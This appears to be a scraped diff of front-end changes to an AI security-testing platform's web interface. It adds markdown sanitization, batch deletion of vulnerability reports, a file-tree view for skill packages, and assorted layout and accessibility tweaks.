||||||
|
return;
|
||||||
|
}
|
||||||
|
root.querySelectorAll('img').forEach(function (img) {
|
||||||
|
const src = (img.getAttribute('src') || '').trim();
|
||||||
|
if (!src || src.length <= 2 || /^[a-z]$/i.test(src)) {
|
||||||
|
img.remove();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
global.csMarkdownSanitize = {
|
||||||
|
CHAT_SANITIZE_CONFIG: CHAT_SANITIZE_CONFIG,
|
||||||
|
TIMELINE_SANITIZE_CONFIG: TIMELINE_SANITIZE_CONFIG,
|
||||||
|
installDomPurifyHooks: installDomPurifyHooks,
|
||||||
|
formatMarkdownToHtml: formatMarkdownToHtml,
|
||||||
|
sanitizeRichHtml: sanitizeRichHtml,
|
||||||
|
isHeavyRawHtml: isHeavyRawHtml,
|
||||||
|
escapeHtmlLocal: escapeHtmlLocal,
|
||||||
|
stripSuspiciousImages: stripSuspiciousImages,
|
||||||
|
};
|
||||||
|
|
||||||
|
global.formatMarkdown = function formatMarkdown(text, options) {
|
||||||
|
return formatMarkdownToHtml(text, options);
|
||||||
|
};
|
||||||
|
})(typeof window !== 'undefined' ? window : globalThis);
|
||||||
@@ -1375,11 +1375,6 @@ function fillVisionConfigFromCurrent(v) {
|
|||||||
const d = (v.detail || 'low').toString().toLowerCase();
|
const d = (v.detail || 'low').toString().toLowerCase();
|
||||||
det.value = ['low', 'auto', 'high'].includes(d) ? d : 'low';
|
det.value = ['low', 'auto', 'high'].includes(d) ? d : 'low';
|
||||||
}
|
}
|
||||||
const rootsEl = document.getElementById('vision-allowed-roots');
|
|
||||||
if (rootsEl) {
|
|
||||||
const roots = Array.isArray(v.allowed_roots) ? v.allowed_roots : [];
|
|
||||||
rootsEl.value = roots.join('\n');
|
|
||||||
}
|
|
||||||
syncVisionFormEnabled();
|
syncVisionFormEnabled();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1388,8 +1383,6 @@ function collectVisionConfigFromForm() {
|
|||||||
const n = parseInt(document.getElementById(id)?.value, 10);
|
const n = parseInt(document.getElementById(id)?.value, 10);
|
||||||
return Number.isNaN(n) ? fallback : n;
|
return Number.isNaN(n) ? fallback : n;
|
||||||
};
|
};
|
||||||
const rootsRaw = document.getElementById('vision-allowed-roots')?.value || '';
|
|
||||||
const allowed_roots = rootsRaw.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
|
|
||||||
const provider = document.getElementById('vision-provider')?.value.trim() || '';
|
const provider = document.getElementById('vision-provider')?.value.trim() || '';
|
||||||
return {
|
return {
|
||||||
enabled: document.getElementById('vision-enabled')?.checked === true,
|
enabled: document.getElementById('vision-enabled')?.checked === true,
|
||||||
@@ -1403,8 +1396,7 @@ function collectVisionConfigFromForm() {
|
|||||||
jpeg_quality: parseIntOr('vision-jpeg-quality', 82),
|
jpeg_quality: parseIntOr('vision-jpeg-quality', 82),
|
||||||
max_payload_bytes: parseIntOr('vision-max-payload-bytes', 524288),
|
max_payload_bytes: parseIntOr('vision-max-payload-bytes', 524288),
|
||||||
skip_preprocess_below_bytes: parseIntOr('vision-skip-preprocess-bytes', 2097152),
|
skip_preprocess_below_bytes: parseIntOr('vision-skip-preprocess-bytes', 2097152),
|
||||||
detail: document.getElementById('vision-detail')?.value || 'low',
|
detail: document.getElementById('vision-detail')?.value || 'low'
|
||||||
allowed_roots: allowed_roots
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+16
-5
@@ -468,6 +468,11 @@ function showAddSkillModal() {
|
|||||||
modal.style.display = 'flex';
|
modal.style.display = 'flex';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function skillPackagePathDepth(path) {
|
||||||
|
if (!path) return 0;
|
||||||
|
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
|
||||||
|
}
|
||||||
|
|
||||||
function renderSkillPackageTree() {
|
function renderSkillPackageTree() {
|
||||||
const el = document.getElementById('skill-package-tree');
|
const el = document.getElementById('skill-package-tree');
|
||||||
if (!el) return;
|
if (!el) return;
|
||||||
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
|
|||||||
}
|
}
|
||||||
el.innerHTML = rows.map(f => {
|
el.innerHTML = rows.map(f => {
|
||||||
const path = f.path || '';
|
const path = f.path || '';
|
||||||
|
const indent = 8 + skillPackagePathDepth(path) * 14;
|
||||||
if (f.is_dir) {
|
if (f.is_dir) {
|
||||||
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
|
const dirLabel = path.endsWith('/') ? path : path + '/';
|
||||||
|
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
|
||||||
|
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
|
||||||
|
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
|
||||||
|
`</div>`;
|
||||||
}
|
}
|
||||||
const sel = path === skillActivePath
|
const selected = path === skillActivePath ? ' is-selected' : '';
|
||||||
? 'font-weight:600;background:rgba(99,102,241,0.12);'
|
return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
|
||||||
: '';
|
`<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
|
||||||
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
|
`<span class="skill-tree-label">${escapeHtml(path)}</span>` +
|
||||||
|
`</div>`;
|
||||||
}).join('');
|
}).join('');
|
||||||
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
|
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
|
||||||
node.addEventListener('click', () => {
|
node.addEventListener('click', () => {
|
||||||
|
|||||||
@@ -720,7 +720,7 @@ async function loadVulnerabilityStats() {
|
|||||||
throw new Error('apiFetch未定义');
|
throw new Error('apiFetch未定义');
|
||||||
}
|
}
|
||||||
|
|
||||||
const params = buildVulnerabilityFilterParams();
|
const params = buildVulnerabilityDashboardStatsParams();
|
||||||
|
|
||||||
const response = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
|
const response = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
@@ -1531,6 +1531,13 @@ function buildVulnerabilityFilterParams() {
|
|||||||
return params;
|
return params;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 看板统计:保留项目/关键词等筛选,但不带严重度(卡片本身用于切换严重度筛选) */
|
||||||
|
function buildVulnerabilityDashboardStatsParams() {
|
||||||
|
const params = buildVulnerabilityFilterParams();
|
||||||
|
params.delete('severity');
|
||||||
|
return params;
|
||||||
|
}
|
||||||
|
|
||||||
function triggerTextDownload(fileName, content) {
|
function triggerTextDownload(fileName, content) {
|
||||||
const blob = new Blob([content], { type: 'text/markdown;charset=utf-8' });
|
const blob = new Blob([content], { type: 'text/markdown;charset=utf-8' });
|
||||||
const url = URL.createObjectURL(blob);
|
const url = URL.createObjectURL(blob);
|
||||||
@@ -1543,6 +1550,53 @@ function triggerTextDownload(fileName, content) {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function hasActiveVulnerabilityFilters() {
|
||||||
|
const keys = ['q', 'id', 'project_id', 'conversation_id', 'task_id', 'conversation_tag', 'task_tag', 'severity', 'status'];
|
||||||
|
return keys.some(function (k) {
|
||||||
|
return Boolean(vulnerabilityFilters[k]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function batchDeleteVulnerabilityReports() {
|
||||||
|
try {
|
||||||
|
const params = buildVulnerabilityFilterParams();
|
||||||
|
const statsResponse = await apiFetch(`/api/vulnerabilities/stats?${params.toString()}`);
|
||||||
|
if (!statsResponse.ok) {
|
||||||
|
throw new Error(vulnT('vulnerabilityPage.deleteFailed'));
|
||||||
|
}
|
||||||
|
const stats = await statsResponse.json();
|
||||||
|
const count = stats.total || 0;
|
||||||
|
if (count <= 0) {
|
||||||
|
alert(vulnT('vulnerabilityPage.batchDeleteNoResults'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const confirmKey = hasActiveVulnerabilityFilters()
|
||||||
|
? 'vulnerabilityPage.batchDeleteConfirm'
|
||||||
|
: 'vulnerabilityPage.batchDeleteConfirmAll';
|
||||||
|
if (!confirm(vulnT(confirmKey, { count: count }))) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await apiFetch(`/api/vulnerabilities/batch?${params.toString()}`, {
|
||||||
|
method: 'DELETE'
|
||||||
|
});
|
||||||
|
if (!response.ok) {
|
||||||
|
const error = await response.json().catch(() => ({ error: vulnT('vulnerabilityPage.deleteFailed') }));
|
||||||
|
throw new Error(error.error || vulnT('vulnerabilityPage.deleteFailed'));
|
||||||
|
}
|
||||||
|
const data = await response.json();
|
||||||
|
const deleted = data.deleted || 0;
|
||||||
|
alert(vulnT('vulnerabilityPage.batchDeleteSuccess', { count: deleted }));
|
||||||
|
vulnerabilityPagination.currentPage = 1;
|
||||||
|
loadVulnerabilityStats();
|
||||||
|
loadVulnerabilities();
|
||||||
|
} catch (error) {
|
||||||
|
console.error('批量删除漏洞失败:', error);
|
||||||
|
alert(vulnT('vulnerabilityPage.batchDeleteFailed') + ': ' + error.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function exportVulnerabilityReports() {
|
async function exportVulnerabilityReports() {
|
||||||
try {
|
try {
|
||||||
const params = buildVulnerabilityFilterParams();
|
const params = buildVulnerabilityFilterParams();
|
||||||
|
|||||||
+33
-22
@@ -831,6 +831,11 @@
|
|||||||
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
|
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||||
|
</svg>
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
|
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
|
||||||
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
|
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
|
||||||
@@ -859,7 +864,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
|
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
|
||||||
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()">
|
<div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
|
||||||
<div class="hitl-sidebar-heading">
|
<div class="hitl-sidebar-heading">
|
||||||
<span class="hitl-sidebar-icon" aria-hidden="true">
|
<span class="hitl-sidebar-icon" aria-hidden="true">
|
||||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
@@ -872,11 +877,11 @@
|
|||||||
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
|
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-header-actions">
|
<span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
|
||||||
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
<span data-i18n="chat.hitlApply">应用</span>
|
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||||
</button>
|
</svg>
|
||||||
</div>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
|
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
|
||||||
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
|
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
|
||||||
@@ -894,6 +899,11 @@
|
|||||||
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
|
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
|
||||||
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
|
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="hitl-config-actions">
|
||||||
|
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
|
||||||
|
<span data-i18n="chat.hitlApply">应用</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -1114,20 +1124,22 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- MCP状态监控页面 -->
|
<!-- MCP状态监控页面 -->
|
||||||
<div id="page-mcp-monitor" class="page">
|
<div id="page-mcp-monitor" class="page mcp-monitor-page">
|
||||||
<div class="page-header">
|
<div class="page-header">
|
||||||
<h2 data-i18n="mcp.monitorTitle">MCP 状态监控</h2>
|
<div class="page-header-main">
|
||||||
<button class="btn-secondary" onclick="refreshMonitorPanel()"><span data-i18n="common.refresh">刷新</span></button>
|
<h2 data-i18n="mcp.monitorTitle">MCP 状态监控</h2>
|
||||||
|
<p id="monitor-stats-subtitle" class="monitor-page-subtitle" hidden></p>
|
||||||
|
</div>
|
||||||
|
<div class="page-header-actions">
|
||||||
|
<button type="button" class="btn-secondary btn-icon-text" onclick="refreshMonitorPanel()" aria-label="刷新">
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="23 4 23 10 17 10"/><path d="M20.49 15a9 9 0 1 1-2.12-9.36L23 10"/></svg>
|
||||||
|
<span data-i18n="common.refresh">刷新</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="page-content">
|
<div class="page-content">
|
||||||
<div class="monitor-sections">
|
<div class="monitor-sections">
|
||||||
<section class="monitor-section monitor-overview">
|
<section class="monitor-section monitor-overview">
|
||||||
<div class="section-header monitor-stats-section-header">
|
|
||||||
<div class="monitor-stats-header-text">
|
|
||||||
<h3 data-i18n="mcp.execStats">执行统计</h3>
|
|
||||||
<p id="monitor-stats-subtitle" class="monitor-stats-subtitle" hidden></p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div id="monitor-stats" class="mcp-exec-stats-root">
|
<div id="monitor-stats" class="mcp-exec-stats-root">
|
||||||
<div class="monitor-empty" data-i18n="mcpMonitor.loading">加载中...</div>
|
<div class="monitor-empty" data-i18n="mcpMonitor.loading">加载中...</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -1712,6 +1724,7 @@
|
|||||||
<h2 data-i18n="vulnerability.title">漏洞管理</h2>
|
<h2 data-i18n="vulnerability.title">漏洞管理</h2>
|
||||||
<div class="page-header-actions">
|
<div class="page-header-actions">
|
||||||
<button class="btn-secondary" onclick="exportVulnerabilityReports()" data-i18n="vulnerabilityPage.batchExport">批量导出</button>
|
<button class="btn-secondary" onclick="exportVulnerabilityReports()" data-i18n="vulnerabilityPage.batchExport">批量导出</button>
|
||||||
|
<button class="btn-secondary btn-delete" onclick="batchDeleteVulnerabilityReports()" data-i18n="vulnerabilityPage.batchDelete">批量删除</button>
|
||||||
<button class="btn-secondary" onclick="refreshVulnerabilities()" data-i18n="common.refresh">刷新</button>
|
<button class="btn-secondary" onclick="refreshVulnerabilities()" data-i18n="common.refresh">刷新</button>
|
||||||
<button class="btn-primary" onclick="showAddVulnerabilityModal()" data-i18n="vulnerability.addVuln">添加漏洞</button>
|
<button class="btn-primary" onclick="showAddVulnerabilityModal()" data-i18n="vulnerability.addVuln">添加漏洞</button>
|
||||||
</div>
|
</div>
|
||||||
@@ -2348,7 +2361,7 @@
|
|||||||
<input type="text" id="agent-md-bind-role" placeholder="" autocomplete="off" />
|
<input type="text" id="agent-md-bind-role" placeholder="" autocomplete="off" />
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<label data-i18n="agentsPage.fieldMaxIter">子代理最大迭代(0=使用全局默认)</label>
|
<label data-i18n="agentsPage.fieldMaxIter">最大迭代(0=沿用设置页 agent.max_iterations)</label>
|
||||||
<input type="number" id="agent-md-max-iter" min="0" value="0" />
|
<input type="number" id="agent-md-max-iter" min="0" value="0" />
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
@@ -2544,10 +2557,6 @@
|
|||||||
<label for="vision-timeout-seconds" data-i18n="settingsBasic.visionTimeout">超时(秒)</label>
|
<label for="vision-timeout-seconds" data-i18n="settingsBasic.visionTimeout">超时(秒)</label>
|
||||||
<input type="number" id="vision-timeout-seconds" min="5" step="1" placeholder="60" />
|
<input type="number" id="vision-timeout-seconds" min="5" step="1" placeholder="60" />
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
|
||||||
<label for="vision-allowed-roots" data-i18n="settingsBasic.visionAllowedRoots">额外允许路径根目录</label>
|
|
||||||
<textarea id="vision-allowed-roots" rows="2" data-i18n="settingsBasic.visionAllowedRootsPlaceholder" data-i18n-attr="placeholder" placeholder="每行一个绝对路径,可选"></textarea>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
</details>
|
</details>
|
||||||
<div style="display: flex; align-items: center; gap: 8px; margin-top: 8px;">
|
<div style="display: flex; align-items: center; gap: 8px; margin-top: 8px;">
|
||||||
@@ -2564,7 +2573,7 @@
|
|||||||
<div class="settings-form">
|
<div class="settings-form">
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<label for="agent-max-iterations" data-i18n="settingsBasic.maxIterations">最大迭代次数</label>
|
<label for="agent-max-iterations" data-i18n="settingsBasic.maxIterations">最大迭代次数</label>
|
||||||
<input type="number" id="agent-max-iterations" min="1" max="100" data-i18n="settingsBasic.iterationsPlaceholder" data-i18n-attr="placeholder" placeholder="30" />
|
<input type="number" id="agent-max-iterations" min="1" data-i18n="settingsBasic.iterationsPlaceholder" data-i18n-attr="placeholder" placeholder="30" />
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
<div class="form-group">
|
||||||
<label class="checkbox-label">
|
<label class="checkbox-label">
|
||||||
@@ -3512,6 +3521,7 @@
|
|||||||
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
|
||||||
<!-- DOMPurify for HTML sanitization to prevent XSS -->
|
<!-- DOMPurify for HTML sanitization to prevent XSS -->
|
||||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.8/dist/purify.min.js"></script>
|
||||||
|
<script src="/static/js/sanitize-markdown.js"></script>
|
||||||
<!-- Cytoscape.js for attack chain visualization -->
|
<!-- Cytoscape.js for attack chain visualization -->
|
||||||
<script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/cytoscape@3.27.0/dist/cytoscape.min.js"></script>
|
||||||
<!-- ELK.js for high-quality DAG layout (reduces edge crossings) -->
|
<!-- ELK.js for high-quality DAG layout (reduces edge crossings) -->
|
||||||
@@ -3545,8 +3555,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="form-group" id="skill-package-editor" style="display: none;">
|
<div class="form-group" id="skill-package-editor" style="display: none;">
|
||||||
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
|
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
|
||||||
|
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
|
||||||
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
|
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
|
||||||
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div>
|
<div id="skill-package-tree"></div>
|
||||||
<div style="flex: 1; min-width: 0;">
|
<div style="flex: 1; min-width: 0;">
|
||||||
<div style="margin-bottom: 8px; font-size: 13px;">
|
<div style="margin-bottom: 8px; font-size: 13px;">
|
||||||
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
|
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>
|
||||||
|
|||||||
Reference in New Issue
Block a user